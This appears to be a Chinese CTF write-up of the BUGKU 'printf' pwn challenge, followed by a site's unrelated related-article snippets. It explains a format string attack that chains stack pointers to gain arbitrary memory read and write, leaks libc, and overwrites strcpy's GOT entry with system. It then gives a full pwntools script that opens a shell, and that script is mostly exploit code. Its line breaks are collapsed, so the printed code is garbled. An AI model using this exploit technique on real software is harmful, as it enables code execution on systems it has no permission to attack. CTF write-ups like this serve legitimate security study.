BUGKU printf
整体思路
实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell
第一步:实现循环
从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。
encode1会将编码后的结果保存至0x2015c0处,而encode 1的编码逻辑比较简单,key的长度为0时明文和密文是一样的,因此只需传入b'\x00'为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。
第二步:获取libc版本和system函数地址
要获取libc版本,需要找到部分libc中的函数的地址,例如puts,read,printf,本题我们想办法找到puts和read函数的地址。
注意到,encode2在末尾调用了printf,且将密文作为唯一字符串传参,这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难,但encode2的密文并不是保存在栈上。
万变不离其宗:printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。
此外,由于每次循环只能printf一次,所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾(rbp)往上找,通常来说这段栈在main函数结束前不会被覆盖。(当然你也可以随便找一个会被回收的地方,然后赌下次调用前值是否被覆盖)
翻遍了代码,我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。
那么我们只能曲线救国,通常当字符串不在栈上时,要想往栈上某个地方写入任意值,我们就要找栈中是否存在一个超过3个元素的地址链条:p1-->p2-->p3,p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。
通过调试发现,encode2函数中,printf的第14个参数(记作$14)正好指向$50,而$50正好指向$54,更有趣的是$50中保存的是main函数的rbp寄存器的值,这意味着$54是main函数的栈尾。显然,$50和$54在循环间是不会被覆盖的。
现在我们有了这个链条,具体要怎么往栈上某处写入任意值呢?
这个某处就是p3,这题是$54。
假设此时$54为0x0, $50处为0x7fff6550
我要往$54写入0x1234567887654321,假设此时$50处为0x7fff6550
首先使用"%87c%14$hhn",$50的最低字节会被写入0x57从而变成0x7fff6557
然后使用"%18c%50$hhn",$54的最高字节会被写入0x12从而变成0x1200000000000000
接着使用"%86c%14$hhn",$50的最低字节会被写入0x56从而变成0x7fff6556
然后使用"%52c%14$hhn",$54的最高字节会被写入0x34从而变成0x1234000000000000
如此往复,直到把$54写成0x1234567887654321为止。
既然能实现$54的任意内容读写,那我们当然也能实现任意地址读了,只需通过上述方法往$54处写入任意地址,然后用"%54$s"即可读出。那如何实现任意地址写呢?假设我们要往0x1234处写入0x5678,首先先通过上述方法把$54写成0x1234,然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。
通过上述方法,我们可以轻易打印出puts和read函数的地址,然后利用LibcSearcher函数搜索libc版本并获取system地址。
第三步:将strcpy的got表项修改为system并获取shell
为什么是修改strcpy?
考虑到本题字符串不在栈上,对任意地址的写入要通过多个循环完成,这意味着用于必须选择一个不在这些循环中被调用到的函数,而puts,read,printf都不行,同时我们还必须能够传入想要的字符串到rdi中,正好encode3中的strcpy满足了这一条件。
源码如下:
需要注意的是,不同系统中的p1-->p2-->p3链条可能存在差异,博主测试发现Ubuntu 24.04中的链条是$22->$50->$54,而centos 8上则是$14->$50->$54,BUGKU官方靶机也是$14->$50->$54。
from pwn import *
from LibcSearcher import *context(os = 'linux', arch = 'amd64')
sh = process('./pwn6')
# sh = remote('114.67.175.224', 18702)# 构建encode2的密文->明文映射
c2m_v2 = {}
for a in range(256):c2m_v2[((a & 192) >> 6) + (a & 48) * 4 + (a & 12) * 4 + (a & 3) * 4] = a# 构建encode3密文->明文映射
c2m_v3 = {}
for a in range(256):k = ((a & 192) >> 2) + ((a & 48) >> 2) + ((a & 12) >> 2) + a * 64c2m_v3[k%256] = a# 写入201700处实现无限重入
sh.sendlineafter('choice:\n', '1')
sh.sendafter('keys?\n', b'\x00') # 使得密文等于明文
sh.sendafter('to encode:\n', b'\x00' * 0x140 + p64(0x01111111))def get_ptr(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$p\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)addr = b'0x' + sentence.split(b'0x')[-1]addr = addr.decode('utf-8')addr = int(addr, 16)return addrdef get_value(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$s\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)value = u64(sentence[-6:].ljust(8, b'\x00'))return valuedef write_to_54(addr):content_50 = get_ptr(50);for j in range(8):i = 7 - j# write last byte of %50 from %14last_byte = content_50 % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%14$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of %54 from %50addr_byte = (addr & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(addr_byte) + 'c%50$hhn\x00'if addr_byte == 0:cipher = '%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)def write_from_54(addr, value):for j in range(8):i = 7 - j# write last byte of %54 from %50last_byte = addr % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of addr from %54value_byte = (value & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(value_byte) + 'c%54$hhn\x00'if value_byte == 0:cipher = '%54$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# 任意地址写
def modify(addr, value):# value至少得有六字节write_to_54(addr)write_from_54(addr, value)# 任意地址读
def get_value_of(addr):write_to_54(addr)return get_value(54)# PIE基地址
base_addr = get_ptr(51) - 0xe5b# 获取puts和read函数的地址
puts_got = base_addr + 0x201550
read_got = base_addr + 0x201560puts_addr = get_value_of(puts_got)
read_addr = get_value_of(read_got)# 搜索libc版本
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", puts_addr)# 获取system函数地址
libc_base_addr = read_addr - libc.dump('read')
system_addr = libc_base_addr + libc.dump("system")
print('system_addr', hex(system_addr))# printf修改strcpy的got使得指向system
strcpy_got = base_addr + 0x201580
modify(strcpy_got, system_addr)# 获取shell
sh.sendlineafter('choice:\n', '3')
cipher = '/bin/sh\x00'
plain = ''.join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
sh.recv()
sh.interactive()
相关文章:
BUGKU printf
整体思路 实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell 第一步:实现循环 从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。 encode1会将编码后的结果保存至0x2015c0处&am…...
深度学习:梯度下降法
损失函数 L:衡量单一训练样例的效果。 成本函数 J:用于衡量 w 和 b 的效果。 如何使用梯度下降法来训练或学习训练集上的参数w和b ? 成本函数J是参数w和b的函数,它被定义为平均值; 损失函数L可以衡量你的算法效果&a…...
`console.log`调试完全指南
大家好,这里是 Geek技术前线。 今天我们来探讨 Console.log() 的一些优点。并分析一些基本概念和实践,这些可以让我们的调试工作变得更加高效。 理解前端 log 与后端 log 的区别 前端 log 与后端 log 有着显著的不同,理解这一点至关重要。…...
ROS VSCode调试方法
VSCode 调试 Ros文档 1.编译参数设置 cd catkin_ws catkin_make -DCMAKE_BUILD_TYPEDebug2.vscode 调试插件安装 可在扩展中安装(Ctrl Shift X): 1.ROS 2.C/C 3.C Intelliense 4.Msg Language Support 5.Txt Syntax 3.导入已有或者新建ROS工作空间 3.1 导入工作…...
16 —— Webpack多页面打包
需求:把 黑马头条登陆页面-内容页面 一起引入打包使用 步骤: 准备源码(html、css、js)放入相应位置,并改用模块化语法导出 原始content.html代码 <!DOCTYPE html> <html lang"en"><head&…...
微服务即时通讯系统的实现(服务端)----(3)
目录 1. 消息存储子服务的实现1.1 功能设计1.2 模块划分1.3 模块功能示意图1.4 数据管理1.4.1 数据库消息管理1.4.2 ES文本消息管理 1.5 接口的实现1.5.1 消息存储子服务所用到的protobuf接口实现1.5.2 最近N条消息获取接口实现1.5.3 指定时间段消息搜索接口实现1.5.4 关键字消…...
.net6.0 mvc 传递 model 实体参数(无法对 null 引用执行运行时绑定)
说一下情况: 代码没问题,能成功从数据库里查到数据,能将数据丢给ViewBag.XXXX, 在View页面也能获取到 ViewBag.XXXX的值,但是发布到线上后报这个错: Microsoft.CSharp.RuntimeBinder.RuntimeBinderException: 无法对 …...
VUE 入门级教程:开启 Vue.js 编程之旅
一、Vue.js 简介 Vue.js 是一套构建用户界面的渐进式 JavaScript 框架。它专注于视图层的开发,能够轻松地与其他库或现有项目进行整合。Vue.js 的核心库只关注视图层,通过简洁的 API 实现数据绑定和 DOM 操作的响应式更新,让开发者可以高效地…...
Ubantu系统docker运行成功拉取失败【成功解决】
解决docker运行成功拉取失败 失败报错 skysky-Legion-Y7000-IRX9:~$ docker run hello-world docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Head “http://%2Fvar%2Frun%2Fdocker.sock/_ping”: dial uni…...
mvn-mac操作小记
1.安装brew 如果报错,Warning: /opt/homebrew/bin is not in your PATH. vim ~/.zshrc,最后一行追加 export PATH“/opt/homebrew/bin:$PATH” source ~/.zshrc 2.安装brew install maven mvn -version查看路径 Maven home: /opt/homebrew/Cellar/mav…...
机器学习——生成对抗网络(GANs):原理、进展与应用前景分析
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一. 生成对抗网络的基本原理二. 使用步骤2.1 对抗性训练2.2 损失函数 三. GAN的变种和进展四. 生成对抗网络的应用五. 持续挑战与未来发展方向六. 小结 前言 生…...
「Mac畅玩鸿蒙与硬件33」UI互动应用篇10 - 数字猜谜游戏
本篇将带你实现一个简单的数字猜谜游戏。用户输入一个数字,应用会判断是否接近目标数字,并提供提示“高一点”或“低一点”,直到用户猜中目标数字。这个小游戏结合状态管理和用户交互,是一个入门级的互动应用示例。 关键词 UI互…...
Ps:存储 Adobe PDF
在 Adobe Photoshop 中,将图像保存为 PDF 文件时, 会弹出“存储 Adobe PDF” Save Adobe PDF对话框。在此对话框中提供了多个选项,用于控制 PDF 文件的输出,包括一般设置(选择预设、兼容性和保留编辑功能)、…...
DDR3保姆级使用教程:ZYNQ 7010
内容:使用DDR3 IP核,向DDR3写入数据,然后再读出数据,通过串口打印。 设备:ZYNQ 7010 xc7z010clg-400-1。软件VIVADO 2018.3 (1)工程模块:一个写FIFO,一个读FIFO。一个ZYNQ IP核&am…...
OpenCV 模板匹配全解析:从单模板到多模板的实战指南
简介:本文深入探讨 OpenCV 中的模板匹配技术。详细介绍构建输入图像与模板图像的步骤,包括读取、截取、滤波与存储等操作。剖析 cv2.matchTemplate 语法及其参数含义,阐述不同匹配方法下结果值的意义。同时讲解 cv2.minMaxLoc 语法࿰…...
【JAVA] 杂谈: java中的拷贝(克隆方法)
这篇文章我们来介绍什么是拷贝,并且实现浅拷贝到深拷贝。 目录 一、浅拷贝 1.1 clone 方法 1.2 实现浅拷贝: 1.2.1 重写 clone方法 1.2.2 实现接口 Cloneable 1.2.3 调用克隆方法 1.2.4 原理图: 1.3 浅拷贝的不足 1.3.1 增加引用…...
使用 PDF API 合并 PDF 文件
内容来源: 如何在 Mac 上合并 PDF 文件 1. 注册与认证 您可以注册一个免费的 ComPDFKit API 帐户,该帐户允许您在 30 天内免费无限制地处理 1,000 多个文档。 ComPDFKit API 使用 JSON Web Tokens 方法进行安全身份验证。从控制面板获取您的公钥和密钥&…...
关于BeanUtils.copyProperties是否能正常复制字段【详细版】
话不多说!先总结: 1、字段相同,类型不同(不复制,也不报错) 2、子类父类 (1)子类传给父类(可以正常复制) (2)父类传给子类(可以正常复制) 3、子类父类&#x…...
爬虫框架快速入门——Scrapy
适用人群:零基础、对网络爬虫有兴趣但不知道从何开始的小白。 什么是 Scrapy? Scrapy 是一个基于 Python 的网络爬虫框架,它能帮助你快速爬取网站上的数据,并将数据保存到文件或数据库中。 特点: 高效:支…...
鸿蒙开发-HMS Kit能力集(应用内支付、推送服务)
1 应用内支付 开发步骤 步骤一:判断当前登录的华为账号所在服务地是否支持应用内支付 在使用应用内支付之前,您的应用需要向IAP Kit发送queryEnvironmentStatus请求,以此判断用户当前登录的华为帐号所在的服务地是否在IAP Kit支持结算的国…...
Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误,它们的含义、原因和解决方法都有显著区别。以下是详细对比: 1. HTTP 406 (Not Acceptable) 含义: 客户端请求的内容类型与服务器支持的内容类型不匹…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...
【JavaEE】-- HTTP
1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...
边缘计算医疗风险自查APP开发方案
核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...
TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案
一、TRS收益互换的本质与业务逻辑 (一)概念解析 TRS(Total Return Swap)收益互换是一种金融衍生工具,指交易双方约定在未来一定期限内,基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
(转)什么是DockerCompose?它有什么作用?
一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
基于TurtleBot3在Gazebo地图实现机器人远程控制
1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...
基于Java+MySQL实现(GUI)客户管理系统
客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息,对客户进行统一管理,可以把所有客户信息录入系统,进行维护和统计功能。可通过文件的方式保存相关录入数据,对…...
